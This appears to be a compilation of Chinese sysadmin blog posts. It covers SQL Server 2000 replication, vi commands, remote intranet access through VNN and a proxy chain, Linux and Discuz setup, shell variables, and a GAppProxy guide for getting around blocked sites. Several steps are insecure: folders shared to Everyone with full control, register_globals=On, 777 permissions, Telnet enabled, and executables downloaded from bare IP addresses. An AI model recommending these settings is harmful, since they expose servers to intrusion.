完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。接下来就是判断复制是否成功了打开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表

从0开始一步一步配置SQL Server 2000 数据库同步,非常细
首先,一般情况下数据库安装好后,在企业管理器里看到的sql注册是(local)(Windows NT),
SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
删除该服务器的 SQL Server 注册并使用实际的服务器名对它进行注册。
我把先把这个删除,右击他,选择删除sql server 注册 。。然后新建注册,右击Sql server组,新建Sql server 注册 下一步--》可用的服务器里有你的计算机名,点中间的添加,添加到“添加的服务器里”--下一步--》下一步--》下一步--》完成
单击刚刚以计算机名建好的sql server 注册,以选中它--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》出现“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。--》确定,选择“本帐户”(这时进入系统新建一个帐户比如SQL120),用户名输入"SEOGIRL\SQL120",输入密码,确定,出现:所做的一个或多个更改只有在 SQL Server 代理重新启动后才会生效。现在要停止并重新启动 SQL Server 代理吗?,确定,确定,--》下一步--》下一步--》快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。
确实要使用此快照文件夹路径吗?--》否,因为这个路径是没办法请求订阅的代理程序,咱们建一个文件夹D:\ReplData,在这个文件夹的属性里设置“共享此文件夹”,点击“权限”设置everyone为完全。--》确定后退出--》返回咱们刚才的“快照文件夹”,在里边输入“\\SEOGIRL\ReplData”--》下一步--》下一步--》完成--》关闭



打开企业管理器--》选中发布服务器--》工具--》复制--》配置发布、订阅服务器和分发。。。--》下一步--》下一步--》下一步--》否,选择一个快照文件夹位置,\\seogirl\ReplData--》下一步--》--》--》--》--》--》--》--》
“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。“SEOGIRL”上的 SQL Server 代理使用系统帐户,所以服务器之间的 SQL Server 复制将会失败。若要在服务器之间使用复制,请选择另一个服务器器作为“SEOGIRL”的分发服务器。“SQL120”不是有效的 Windows NT 名称。请给出完整名称: <域\用户名>。
输入"administrator"时提示以下错误: 错误 15407: 'administrator' 不是有效的 Windows NT 名称。请给出完整名称: <域\用户名>。


系统出现两个选择 一个是 是,将SQL server代理服务配置为自动启动 另一个是 否,我将手工启动 SQL server 代理服务器 然后选那个呢? 我两个都试过了 然后出现快照文件夹 \\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData 系统提示 不是有效的文件名或路径 接下去就弄不了 哪位大哥帮帮忙啊
1。 一个是 是,将SQL server代理服务配置为自动启动 另一个是 否,我将手工启动 SQL server 代理服务器 说明:这个选择是或者否都可以。是:则系统自己启动代理服务器 否:你自己手工的启动代理服务器 这就是区别。 2。 \\XXLJD\F$\Program Files\Microsoft SQL Server\MSSQL\ReplData 系统提示 不是有效的文件名或路径 这样修改:1。创建一个文件夹在ntfs分区上,如:D:\ReplData 2.共享这个文件夹 --右击文件夹-属性-共享 3。同时在相同的界面-有权限-设置为everyone-完全控制的权限 这样就可以了。4.路径里输入\\计算机名\ReplData


配置SQL Server 2000 数据库同步时的 常见问题
问题:SQL Server 复制不支持昵称,例如使用“.”或“(local)”作为服务器名。
回答:删除该服务器的 SQL Server 注册并使用计算机名进行注册。
问题:“SEOGIRL”上的 SQL Server 代理当前在使用系统帐户,它会导致服务器之间的复制失败。在下列对话框中,为服务启动帐户另外指定一个帐户。
回答:应该先建一个有管理员组权限的帐户,然后用在这。
问题:快照文件夹路径“\\SEOGIRL\D$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。确实要使用此快照文件夹路径吗?
回答:在D盘或你别的盘建一个文件夹如:D:\pub,设为共享,并把上面那个新建 的用户加到这里面设为完全控制,快照路径里写\\计算机名\pub
问题:“SQL120”不是有效的 Windows NT 名称。请给出完整名称: <域\用户名>。
解决:使用:计算机名\用户名。

另一种配置方法

******************************************************************************我是如何设置的:1。准备工作设置一个公用目录并保证2台服务器有权限。2。右键发布服务器——属性——复制——配置——创建分发服务器,并设定发布服务器和发布数据库,然后给予订阅服务器权限。3。依次展开:发布服务器——将要发布的数据库——右键发布内容——新建发布。4。右键刚刚建立的发布——属性——状态——立即运行代理程序——代理程序属性中设置调度并启动。4。右键刚刚建立的发布——属性——订阅——强制新建。
有时候会看不到新建立的项目,重新进就可以了。
--------------------------------------------------------------------------------

经过测试,可以顺利实现数据库结构的初始化和数据的单向同步(也就是订阅服务器的数据可以及时更新为发布服务器的数据)。准备工作:>>数据的同步中主要考虑的三部分,可以理解成三台主机。发布服务器,分发服务器和订阅服务器;可以从字面的意思理解,要实现的功能实际就是让订阅服务器通过分发服务器保持数据及时地和发布服务器上的数据一致。整个执行过程是这样一来的:a.订阅服务器应该有个初始化,一般来说我们开始做这个同步任务的时候,发布服务器已经有了相当的数据量了,而我们的订阅服务器应该是新建的服务。即使发布中没有数据,也需要把他的数据库结构初始化到订阅服务器上。b. 我采用的是事物复制,发布服务器的数据发生变化后,相当于触发了一个更新操作,而事物复制可以在设定的时间把数据更新的操作更新到订阅服务器中去。当然,这个操作需要经过分发服务器。在我的测试中,我是把发布服务器和分发服务器设置为同一台主机,可以顺利实现数据在数分钟内同步。
> >在操作的起始,需要考虑订阅服务器是否有和发布服务器相同结构的数据库,如果有,需要做的就是使用代理把发布服务器现有的数据初始化过去;如果没有对应的相同结构的数据库,就需要要把发布服务器当前的数据库结构和当前的数据都初始化到订阅服务器中。当然这里所说的操作都是在下面的实施步骤中实现,不需要单独处理。>>如果说对Windows系统有所要求的话,就应该保证这三个服务器(发布,分发,订阅)在同个域中,以同一个域管理员帐号身份运行,操作如下:a.进入相应的服务器,控制面板->服务->SQLSERVERAGENT,设置登录,三台服务器同样设置。
b.操作前,也不允许这三台服务器对应的别名使用呢称,比如"LOCAL",这样的别名要删除重建,可以采用主机名,比如:server02.
下面开始执行数据库同步的操作:>>配置发布服务器和分发服务器:a.选中对应服务器的注册名->工具->复制->配置发布、订阅和分发,直接按照默认设置向下执行,直到完成。关闭。b. 再一次选中这个服务器服务器的注册名->工具->复制->配置发布、订阅和分发,可以看到这次界面和步骤a中的界面有所不同,我们只需要配置一下 发布服务器,发布数据库,订阅服务器。(我的发布数据库采用的是事物性的)。点“确定”完成操作。<标记P>> >创建发布,可以选中相应的注册,用工具->复制->创建和管理发布或者在该注册下面的 复制->发布内容选中后,在右边空白处,右键,新建发布,来创建你的发布。我选择的是事物发布,按照默认设置,选择你要发布的表或其他对象,其他地方不需要修改,直到完成操作。>>修改发布属性:选择“状态”->立即运行代理程序;代理程序属性->设置你的调度,比如一分钟一次。(调度->编辑->更改;通知->写入windows应用程序事件日志),"确定"完成操作。>>创建订阅:选择发布服务器对应的注册,复制->发布内容->在这个内容上右键,强制新订阅,->"下一步",选择订阅服务器(在标记P那一步选择的订阅服务器)->“下一步”->选择你有的数据库,或者新建一个数据库->"下一步"-> 修改你需要的调度->按照默认设置,直到完成。
到这里就可以完成了,修改发布服务器数据库中的内容,等一两分钟,数据就同步到订阅服务器中了。不过由于第一次执行需要快照,如果发布库中有一定的内容,第一次执行可能需要几分钟时间。如果数据不能同步过去,大家是调度设置时间太短(比如1分钟)使快照不能完成,所以后面的步骤无法执行,遇到这样的情况的话,选中你发布的内容,设置属性,在“状态”中“立即运行代理程序”,这样的话,数据会马上同步过去的。

VI使用手册

进入vi的命令
vi filename :打开或新建文件,并将光标置于第一行首
vi +n filename :打开文件,并将光标置于第n行首
vi + filename :打开文件,并将光标置于最后一行首
vi +/pattern filename:打开文件,并将光标置于第一个与pattern匹配的串处
vi -r filename :在上次正用vi编辑时发生系统崩溃,恢复filename
vi filename....filename :打开多个文件,依次编辑

移动光标类命令
h :光标左移一个字符
l :光标右移一个字符
space:光标右移一个字符
Backspace:光标左移一个字符
k或Ctrl+p:光标上移一行
j或Ctrl+n :光标下移一行
Enter :光标下移一行
w或W :光标右移一个字至字首
b或B :光标左移一个字至字首
e或E :光标右移一个字j至字尾
) :光标移至句尾
( :光标移至句首
}:光标移至段落开头
{:光标移至段落结尾
nG:光标移至第n行首
n+:光标下移n行
n-:光标上移n行
n$:光标移至第n行尾
H :光标移至屏幕顶行
M :光标移至屏幕中间行
L :光标移至屏幕最后行
0:(注意是数字零)光标移至当前行首
$:光标移至当前行尾

屏幕翻滚类命令
Ctrl+u:向文件首翻半屏
Ctrl+d:向文件尾翻半屏
Ctrl+f:向文件尾翻一屏
Ctrl+b;向文件首翻一屏
nz:将第n行滚至屏幕顶部,不指定n时将当前行滚至屏幕顶部。

插入文本类命令
i :在光标前
I :在当前行首
a:光标后
A:在当前行尾
o:在当前行之下新开一行
O:在当前行之上新开一行
r:替换当前字符
R:替换当前字符及其后的字符,直至按ESC键
s:从当前光标位置处开始,以输入的文本替代指定数目的字符
S:删除指定数目的行,并以所输入文本代替之
ncw或nCW:修改指定数目的字
nCC:修改指定数目的行

删除命令
ndw或ndW:删除光标处开始及其后的n-1个字
do:删至行首
d$:删至行尾
ndd:删除当前行及其后n-1行
x或X:删除一个字符,x删除光标后的,而X删除光标前的
Ctrl+u:删除输入方式下所输入的文本

搜索及替换命令 :
/pattern:从光标开始处向文件尾搜索pattern
?pattern:从光标开始处向文件首搜索pattern
n:在同一方向重复上一次搜索命令
N:在反方向上重复上一次搜索命令
:s/p1/p2/g:将当前行中所有p1均用p2替代
:n1,n2s/p1/p2/g:将第n1至n2行中所有p1均用p2替代
:g/p1/s//p2/g:将文件中所有p1均用p2替换

选项设置
all:列出所有选项设置情况
term:设置终端类型
ignorance:在搜索中忽略大小写
list:显示制表位(Ctrl+I)和行尾标志($)
number:显示行号
report:显示由面向行的命令修改过的数目
terse:显示简短的警告信息
warn:在转到别的文件时若没保存当前文件则显示NO write信息
nomagic:允许在搜索模式中,使用前面不带"\"的特殊字符
nowrapscan:禁止vi在搜索到达文件两端时,又从另一端开始
mesg:允许vi显示其他用户用write写到自己终端上的信息

最后行方式命令
:n1,n2 co n3:将n1行到n2行之间的内容拷贝到第n3行下
:n1,n2 m n3:将n1行到n2行之间的内容移至到第n3行下
:n1,n2 d :将n1行到n2行之间的内容删除
:w :保存当前文件
:e filename:打开文件filename进行编辑
:x:保存当前文件并退出
:q:退出vi
:q!:不保存文件并退出vi
:!command:执行shell命令command
:n1,n2 w!command:将文件中n1行至n2行的内容作为command的输入并执行之,若不指
定n1,n2,则表示将整个文件内容作为command的输入
:r!command:将命令command的输出结果放到当前行 。

VI的一些最常用命令和一些高级的应用
一:基本命令介绍:
1) 光标命令
k,j,h,l---上下左右光标移动命令,虽然你可以在Linux中使用键盘右边的四个光标键,
但是记住这四个命令还有非常有用的,也就是右手在键盘上放置的位置部分
nG ----n为行数,该命令立即使光标跳到指定行。
Ctrl+G-----光标所在位置的行数和列数报告
w,b------使光标向前或向后跳过一个单词
2) 编辑命令
i,a,r -------在光标的前,后,上方插入字符命令(i=insert,a=append,r=replace)
cw,dw------ 改变(置换)/删除光标所在处的单词的命令 (c=change,d=delete)
x,d$,dd -----删除一个字符,光标所在处到行尾的所有字符,和整行的命令
3) 查找命令
/string, ?string-----从光标所在处向后/向前查找相应的字符串的命令
4)拷贝复制命令
yy,p -----拷贝一行到剪贴板/取出剪贴板中内容的命令
二:常见问题及应用技巧
1) 在一个新文件中读/etc/passwd中的内容,取出用户名部分
vi file
:r /etc/passwd 在打开的文件file中光标所在处读入/etc/passwd
:%s/:.*//g 删除/etc/passwd中用户名后面的从冒号开始直到行尾的所有部分
:3r /etc/passwd 这是在指定的行号后面读入文件内容
另外一种方法删掉文件中所有的空行及以#开始的注释行
#cat squid.conf.default | grep -v '^$' | grep -v '^#'

2) 在打开一个文件编辑后才知道登录的用户对该文件没有写权,不能存盘
vi file
:w /tmp/1 既然没法存盘,不想放弃所做的所有修改,先临时存到/tmp/1
:20,59w /tmp/1 或者仅仅把第20到59行之间的内容存盘成文件/tmp/1
3) 用VI编辑一个文件,但需要删除大段大段的内容
vi file
Ctrl+G 把光标移到需要删除的行的处按ctrl+G显示行号,再到结尾处再按Ctrl+G.
:23,1045d 假定两次行号为23和1045,则把这几间的内容全删除
也可以在开始和结束两行中用ma,mb命令标记后用:'a,'bd删除.
4) 在整个文件或某几行中在行首或行尾加一些字符串
vi file
:3,$s/^/some string / 在文件的第一行至最后一行的行首前插入some string
:%s/$/ some string/g 在整个文件每一行的行尾添加 some string
:%s/string1/string2/g 在整个文件中替换string1成string2
:3,7s/string1/string2/ 仅替换文件中的第三到七行中的string1成string2
Note: s为substitute,%表示所有行,g表示global
5) 同时编辑两个文件,在两个文件中拷贝剪贴文本
vi file1 file2
yy 同时打开两个文件,在文件1的光标所在处拷贝所在行
:n 切换到文件2 (n=next)
p 在文件2的光标所在处粘贴所拷贝的行
:N 切换回文件1
6) 替换文件中的路径
:%s#/usr/bin#/bin#g 把文件中所有路径/usr/bin换成/bin
或者用
:%s/\/usr\/bin/\/bin/g 在'/'前用\符号指出'/'是真的单个字符'/'
7) 用 vi 多行注释
如果要给多行程序作注释,一个笨办法就是 插入 # ,然后用 j 跳到下一行用 . 命令,重复上个命令。如果要注释几百行,这样的方法恐怕太愚蠢了。一个聪明的办法是:
:.,+499 s/^/#/g
若需全文的行首插入可用以下命令
:%s/^/#/g

教你如何使用VNN来异地管理内网服务器

目录:

方法1、 通过VNN+远程桌面直接控制内网服务器

方法2、 通过VNN+远程桌面间接控制内网服务器


方法3、 通过SocksCap+VNN+代理(ccproxy)使用Telnet控制内网服务器

疑问:"为什么要结合VNN来使用呢?!"

如果您有这样的需求:(如图1)您有事不在公司的情况下,但是公司的某台服务器需要你来做一些配置或者改动,这确实是一件很棘手的事情,因为公司的的网络在局域网环境中,是私有的网络,所以您无法接入公司的网络像接入Internet一样,没有办法,无论你在哪里,您还是需要回公司来完成你的工作了。然而 VNN软件很好的解决了这个问题,只要有Internet接入的地方你就可以通过VNN软件来完成您的工作。

下面列出三种方法:


图1


方法1:通过VNN+远程桌面直接控制内网服务器(如图1)

前提条件是您的PC和需要管理的服务器Server上都已经安装了VNN软件并且接入到Internet,使用已经申请的帐号成功登录VNN。(如图2)


图2

1、启动服务器端远程桌面连接的方法(被控制端)

微软操作系统发展至今只有以下三个操作系统可以使用远程桌面功能,他们是WINDOWS 2000SERVER,WINDOWS XP和WINDOWS 2003。这三个系统的开启远程桌面方法各不相同,我们一一介绍。

(1)WINDOWS XP
正如上文提到的,WINDOWS2000引入远程桌面连接功能后受到了广大用户的好评,大家普遍认为开启该功能的方法太复杂,而且在使用时不能保证每个人都拥有WINDOWS2000SERVER
光盘。因此在XP和2003系统中微软将远程桌面开启的操作进行了简化。
第一步:在桌面"我的电脑"上点鼠标右键,选择"属性"。
第二步:在弹出的系统属性窗口中选择"远程"标签。
第三步:在远程标签中找到"远程桌面",在"容许用户连接到这台计算机"前打上对勾后确定即可完成XP下远程桌面连接功能的启用。(如图3)


图3

(2)WINDOWS 2003
WINDOWS2003开启方法和XP类似,同样对操作步骤进行了简化。方法如下:
第一步:在桌面"我的电脑"上点鼠标右键,选择"属性"。
第二步:在弹出的系统属性窗口中选择"远程"标签。
第三步:在远程标签中找到"远程桌面",在"容许用户连接到这台计算机"前打上对勾后确定即可完成2003下远程桌面
连接功能的启用。(如图4)



图4

(3)WINDOWS 2000SERVER

WINDOWS2000系统中PROFESSIONAL版本是不能开启远程桌面功能让别人访问的,但SERVER版可以开启,不过需要我们安装相应的WINDOWS组件。方法如下:
第一步:通过任务栏的"开始->设置->控制面板",选择里头的"添加/删除程序"。
第二步:在左边选择"添加/删除WINDOWS组件"。
第三步:稍后会出现添加删除WINDOWS组件窗口,我们从中选择"终端服务",然后点"下一步"进行安装。(如图5)这里要注意一点的是在安装过程中需要我们插入WINDOWS 2000SERVER系统光盘到光驱中。
第四步:安装完毕后需要重新启动计算机,重启后就完成了在WINDOWS 2000SERVER下的远程桌面连接功能的安装工作。


图5

2、使用VNN+远程桌面连接的方法(主控制端)

使用远程桌面连接的方法很简单,因为一旦连接到服务器上就和操作本地计算机一样了。所以唯一要讲解的就是连接操作。如何连接到开启了远程桌面功能的计算机呢?我们需要远程桌面连接登录器。

(1)WINDOWS XP和2003操作系统:
这两个系统将远程桌面连接程序内置到附件中,我们不用安装任何程序就可以使用远程桌面连接。
第一步:通过任务栏的"开始->程序->附件->通讯->远程桌面连接"来启动登录程序。(如图6)


图6

第二步:在图5界面中的"计算机"处输入您登入VNN后看到的被控制端的服务器的IP地址或帐号名称(应确定服务器已经安装了VNN软件并登入成功看到对方在线)。(如图7)


图7
第三步:点击"连接"按钮后我们就可以成功登录到该计算机上了,连接上去后如图8所示,输入用户名和密码成功登入后就和操作自己计算机一样方便一样快捷。


图8

(2)其他WINDOWS操作系统:

2000及以前的WINDOWS中(例如:WINDOWS98)系统没有将登录工具放到附件中,我们有两个方法获得登录器并实现远程桌面的连接功能。
方法一:使用XP光盘登录器--MSRDPCLI

在 XP系统光盘盘符下SUPPORTTOOLS目录有一个叫做MSRDPCLI.exe的程序(如图8),该程序实际上是一个远程桌面连接登录器,在 WIN98/2000机器上运行XP光盘目录下的msrdpcli.exe。将自动安装远程桌面连接程序。安装过程非常简单,一路"下一步"即可。完毕以后通过"开始->程序->附件->通讯->远程桌面连接"就可以登录网络上开启远程桌面功能的计算机了。


图9

方法二:第三方登录器

实际上网络中有很多站点都提供了远程桌面登录器的下载,我们在98系统或2000系统上下载该登录器就可以完成登录远程桌面的功能。
下载地址(己测试过,请放心下载)

[url]http://download.microsoft.com/do[/url] ... /en-us/msrdpcli.exe

当您获得登陆工具后,您就能够像上面所描述的WindowsXP和Windows2003登陆服务器的方法一样登陆并管理公司的内网服务器了。

高级应用:通过VNN+远程桌面间接控制内网服务器

疑问:"为什么要间接的控制呢?!"

这是因为有的时候,用户可能没有权利在公司的服务器上安装VNN客户端,所以只能够通过公司的其他PC来访问服务器了。(如图10)但是这种技术的缺点就是依靠现有带宽来决
定访问服务器的速度,使用这种方法时,肯定会影响到操作内网服务器的速度。

图10

下面列出操作步骤:

如果大家已经详细的看过了方法一的操作步骤,相信大家会很明白以下的两个步骤了

1、在PC1上的操作:

在PC2上开启远程桌面的功能,而PC1通过上述的方法1连接到PC2的桌面(如图11)


图11
2、在PC2上的操作:

当已经连接到PC2的桌面后,(确定服务器端已经开启了远程桌面的功能)再通过已经连接的PC2的远程桌面连接到服务器的桌面,(如图12)
这样就可以进行远程控制服务器的操作了


图12

总结:此方法接连用了两次远程桌面的连接,如果带宽不是很高的情况下,访问速度会很慢,但优点就是不只可以控制服务器,还可以利用PC2上的资源!(如,打印,访问服务
器等功能)

方法3:通过SocksCap+VNN+代理(ccproxy)使用Telnet控制内网服务器(如图13)

疑问:"为什么要这样使用呢?!"

原因一:

方法二使用的远程桌面来控制远程服务器是受带宽的限制的并且连续两次使用了远程桌面,访问速度必定会受到影响,所以如果想提高访问的速度的话,这时候就要使用代理的功能来完成控制内网服务器的工作了。

原因二:

也许大家的内部服务器不是Windows操作系统,而是Unix或Linux系统,当然是没有远程桌面的功能,但是都会有Telnet 服务的。
缺点就是不能利用PC2上的资源了,而且操作界面是字符方式的,有些用户会感觉不方便。但这可是最安全最快捷的一种方式了,易用性和安全性始终是相对立的。

图13

原理:PC1和PC2通过VNN软件连通,这样才能够使PC2上安装的CCproxy为PC1做代理的功能,然后在PC1上安装的第三方软件 SocksCap设置使用PC2上的代理进行Telnet,这样就Telnet连接到了和PC2同处在一个内网的服务器上并进行控制操作。

步骤如下:
首先大家要先准备以下两种软件:

1、 SocksCap32(967KB)

下载地址:[url]http://218.201.43.98/proxy/SocksCap32.exe[/url]

2、 Ccproxy(2.15MB)

下载地址:[url]http://www.yzsoft.com/ccproxysetup.exe[/url]

接下来分别介绍在PC2、PC1、Server上的操作:
PC2:
在安装上VNN软件并能够用已经申请的帐号登入成功的前提下,安装CCproxy软件,然后执行安装目录下的CCproxy.exe文件,打开操作界面(如图14)



图14
做如下操作:
点击帐号菜单,出现如下图



在允许范围项选择允许部分,然后选择新建,出现下图



填写用户名和密码后点击确定就可以了,这里的用户名密码是对客户使用CCproxy的一种身份验证,是为了防止任何人都能使用代理的一种方法。
回到CCproxy启动界面,点击设置菜单,使用下图中的配置后,点击确定就完成了PC2上的配置了。



Server :
在Server上的配置就最简单了,只要开启Telnet服务就可以了点击开始-运行,输入services.msc(如下图)



点击确定,进入服务页,(如下图)双击Telnet服务,启动类型选择自动-点击应用-点击启动-点击确定,就完成了启动Telnet服务的操作了



PC1:
也是在安装上VNN软件并能够用已经申请的帐号登入成功的前提下,按照Server上的方法启动Telnet服务,并安装上SocksCap软件,点击桌面上的SockCap图标,界面如下



先点击设置,出现对话框,如下图



本例中1处填写的是登入VNN后获得的地址2.*.*.*,2处填写的端口是上面PC2中设置的Socks端口818,3处填写的是PC2中的代理设置的帐号和密码。
填写完毕后,点击确定回到主界面,选择新建菜单,出现如下图



标识项名称:键入telnet。
命令行 :键入 telnet.exe 执行文件的路径和待控制的内网服务器的IP地址(例如:C:WINDOWSsystem32telnet.exe *.*.*.*)
工作目录 :在找到telnet.exe执行文件的路径的同时会自动写入。

点击确定后出现如下图



选中telnet 后点击运行或直接双击telnet会如果出现了下面的窗口,就表示您的操作已经成功了。如下图



接下来输入n ,敲回车键,会看到要求输入用户名密码,输入并验证成功后您就可以管理公司的内网服务器了,如下图。



三种方法已经和大家介绍完毕了,至于那种方法更适合你就需要您来选择了

说明:Bizvnn就是VNN(VNN最新版本下载地址: [url]http://bizvnn.cn/index.php?q=node/168[/url]

基础linux知识

设置静态IP
配置文件位于:
/etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
ONBOOT=yes
BOOTPROTO=static
IPADDR=10.0.0.2
NETMASK=255.0.0.0
GATEWAY=10.0.0.1
通知网关更新信息
service network restart (/etc/init.d/network restart )
设置DNS
配置文件位于:
/etc/resolv.conf
nameserver 208.67.222.222
nameserver 208.67.220.220
更改主机名
第一步:
#hostname yourname
第二步:
修改/etc/sysconfig/network中的hostname
第三步:
修改/etc/hosts文件
注销(ctrl+D)后登陆

linux下搭建discuz论坛(原创)

环境
linux AS4 2.6.9

1.安装mysql
使用版本 mysql5.1.22-rc.tar.gz
把安装包拷贝到/usr/local目录后执行如下命令:
groupadd mysql
useradd -g mysql mysql
cd mysql
scripts/mysql_install_db --user=mysql
chown -R mysql:mysql .
cp /usr/local/mysql/support-files/my-medium.cnf /etc/my.cnf
cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/mysqld
chmod +x /etc/rc.d/init.d/mysqld
ln -s /usr/local/mysql/bin/mysql /usr/sbin/mysql
chkconfig --add mysqld
启动mysql
service mysqld start
进入mysql
mysql
2.安装apache
版本 httpd-2.0.61.tar.gz
./configure --prefix=/usr/local/apache --enable-module=so
make
make install
cd /usr/local/apache/bin
./apachectl start
如果没有安装gcc编译工具,安装的时候会有提示。可以在光盘中找到!
3.安装php
版本 php-4.4.7.tar.gz
./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs --with-config-file-path=/usr/local/lib --enable-track-vars --with-xml --with-mysql=/usr/local/mysql --with-mbstring --enable-mbstring=all
make
make install
注释:
--with-apxs=dir 作为apache的模块编译
--with-config-file-path=dir php.ini所在目录
--enable-track-vars 跟踪变量
--with-xml xml支持
--with-mysql=dir mysql支持
4.测试mysql,php,apache
cp /php目录/php.ini-dist /usr/local/lib
cd /usr/local/lib
mv php.ini-dist php.ini
vi php.ini
修改
register_globals=On
:wq
cd /usr/local/apache/conf
vi httpd.conf
找到DirectoryIndex index.html
改为DirectoryIndex index.php index.html
找到Options Indexes FollowSymLinks MultiViews
改为Options FollowSymLinks MultiViews
合适的地方加入
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
:wq
cd ../bin
apachectl restart
好了,我们来测试
cd /usr/local/apache/htdocs
vi test.php
<?
phpinfo();
?>
:wq
打开IE输入 [url]http://IP/test.php[/url]
如果你能看见php的测试页,说明大功告成了!

安装ZEND
版本 Zend Optimizer v3.0.gz
./install.sh
这个很简单的,安装中会让你指定php.ini和apache/bin路径,自己调整一下就好了
然后编辑php.ini,把优化值15改成1023开启所有优化线程。再加入
zend_optimizer.enable_loader=0
关闭zend optimizer的透明读取zend encode的加密代码,保存。重启apache。

安装phpmyadmin
版本 phpMyAdmin v2.10.0.gz

解压后拷贝到apache下的htdocs目录就可以了
访问时输入[url]http://localhost/phpmyadmin/index.php[/url]

安装discuzz
版本 discuz6.0
1.先解压
2.上传:
使用ftp上传解压文件Discuz!6中的upload所有文件和目录结构,放到能被web请求所访问的目录中(我使用的是SSH Secure Shell Client)
3.设置目录权限
把下面的文件加上777的权限
./templates
./templates/default
./templates/default/*.*
./attachments
./customavatar
./forumdata
./forumdata/cache
./forumdata/templates
4.配置数据库信息
打开上传到服务器上upload文件中的config.inc.php
$dbhost = 'localhost'; // database server
// 数据库服务器
$dbuser = 'dbuser'; // database username
// 数据库用户名
$dbpw = 'dbpw'; // database password
// 数据库密码
$dbname = 'discuz'; // database name
// 数据库名
$adminemail = '[email]admin@your.com[/email]'; // admin email
// 论坛系统 Email
$dbreport = 0; // send db error report? 1=yes
// 是否发送数据库错误报告? 0=否, 1=是

根据实际情况填写以上信息

注意:数据库不用事先创建好,在安装论坛的时候会自动创建的!

5.执行安装脚本
在浏览器中输入http://您的域名/论坛目录/install.php 以完成最后的安装。
安装成功后,请删除安装脚本(install.php),以避免被再次安装。如果你不删除,进入论坛后台会发现不能设置。

注意:

一般不能正常安装的情况都是缺少编译软件造成的!以上操作已经做过测试。
没有任何问题,有问题请联系我[email]lida.zhao@vnner.com[/email]

本文出自 "远程接入" 博客,请务必保留此出处http://dadekey.blog.51cto.com/107327/49659

Linux中变量$#,$@,$0,$1,$2的含义

我们先写一个简单的脚本,执行以后再解释各个变量的意义
# touch variable
# vi variable
脚本内容如下:
#!/bin/sh
echo "number:$#"
echo "scname:$0"
echo "first :$1"
echo "second:$2"
echo "argume:$@"
保存退出
赋予脚本执行权限
# chmod +x variable
执行脚本
# ./variable aa bb
number:2
scname:./variable
first: aa
second:bb
argume:aa bb
通过显示结果可以看到:
$# 是传给脚本的参数个数
$0 是脚本本身的名字

$1是传递给该shell脚本的第一个参数

$2是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表

2009年5月1日星期五

稳定、快速!架设基于Google的代理服务器

作者:HuaHua 来源:花花网志

YouTube又被封了吧?的确,又封了,下次解封不知道在何年马月。我本来想着把我儿子的视频放到YouTube上的,因为支持高清,没想到建站第一天,就已发现被封了,只好委屈搬到新浪播客土豆网了。那要怎么样才能访问YouTube,并且能看上面的视频?只有代理!网上找的网页代理或其他代理服务器,你用来了解国外AV女优的信息或许还可以,要用来看视频,那真是够呛了。想起以前看到过有人兄用Google App Engine架设的代理服务器很好使,于是在GoogleBaidu搜索,终于找到在《计算机应用文摘》里已经做了详细介绍,是由孙洪志Text的。经试用后,Firefox又打开了熟悉的YouTube,并且能流畅地观看视频,就连奇慢无比的GoDaddy,通过此代理,访问也骤然加速,真是痛快。好方法当然要同大家分享,这里我就班门弄斧了。

这是一款名为GAppProxy的 代理服务器,与其他代理服务器相比,至少有三大优点。首先,GAppProxy是基本Google App Engine的,架设方便、长期存在,不用再隔天换代理IP了;其次,冲着Google的名气,稳定有保证;最后,正因为Google服务器遍布全世界, 所以GAppProxy跑起来的速度相当快速。软件的介绍和下载地址见:http://code.google.com/p/gappproxy

下载GAppProxy,解压即可运行,执行Gui.exe,打开界面如下图。此时,代理服务器就已经正常运行了,简单吧。

如果你经常要用到代理,就不要忘记点“Service”按钮,将这个代理服务器安装成服务,这样就会随着系统启动自动运行了。

经 过上面操作后,专属于自己的代理服务器就架设成功了,接下去就是怎么在浏览器里启用。不管是IE还是Firefox等,设置方法都类同。IE浏览器里面启 用代理服务器很简单:打开IE,依次点击“工具”—“Intenet选项”—“连接”—“局域网设置”,在打开的窗口,勾选“为LAN使用代理服务器”, 然后代理服务器设置为:“127.0.0.1”,端口:“8000”即可。接着你就可以浏览YouTube了,怎么样,速度可以吧?

要说到真正的完美,还是要讲到Firefox代理的自动完成。让Firefox碰到需要采用代理的网站,就自动启用代理,其他的时候则直接连接。这里就要用到FoxyProxy(下载:http://foxyproxy.mozdev.org)和KeyConfighttp://mozilla.dorando.at)两个插件,至于介绍,自己网上搜索,我不絮叨了。

装 好两插件后,会在Firefox的状态栏的右下角看到FoxyProxy的图标。右键单击,选择“选项”,在打开的窗口里点击“新建代理服务器”,在“常 规”选项卡下定义名字为“GAppProxy”,再在“代理服务器细节”选项卡中设置代理服务器为:“127.0.0.1”,端口:“8000”,如下 图。

上面的操作完全后,再次右键点击Firefox状态栏的FoxyProxy图标,选择“使用基于其预定义模板的代理服务器”,这样只有添加到GAppProxy模板中的网页将使用代理服务器,其他的则是直接连接,如下图。
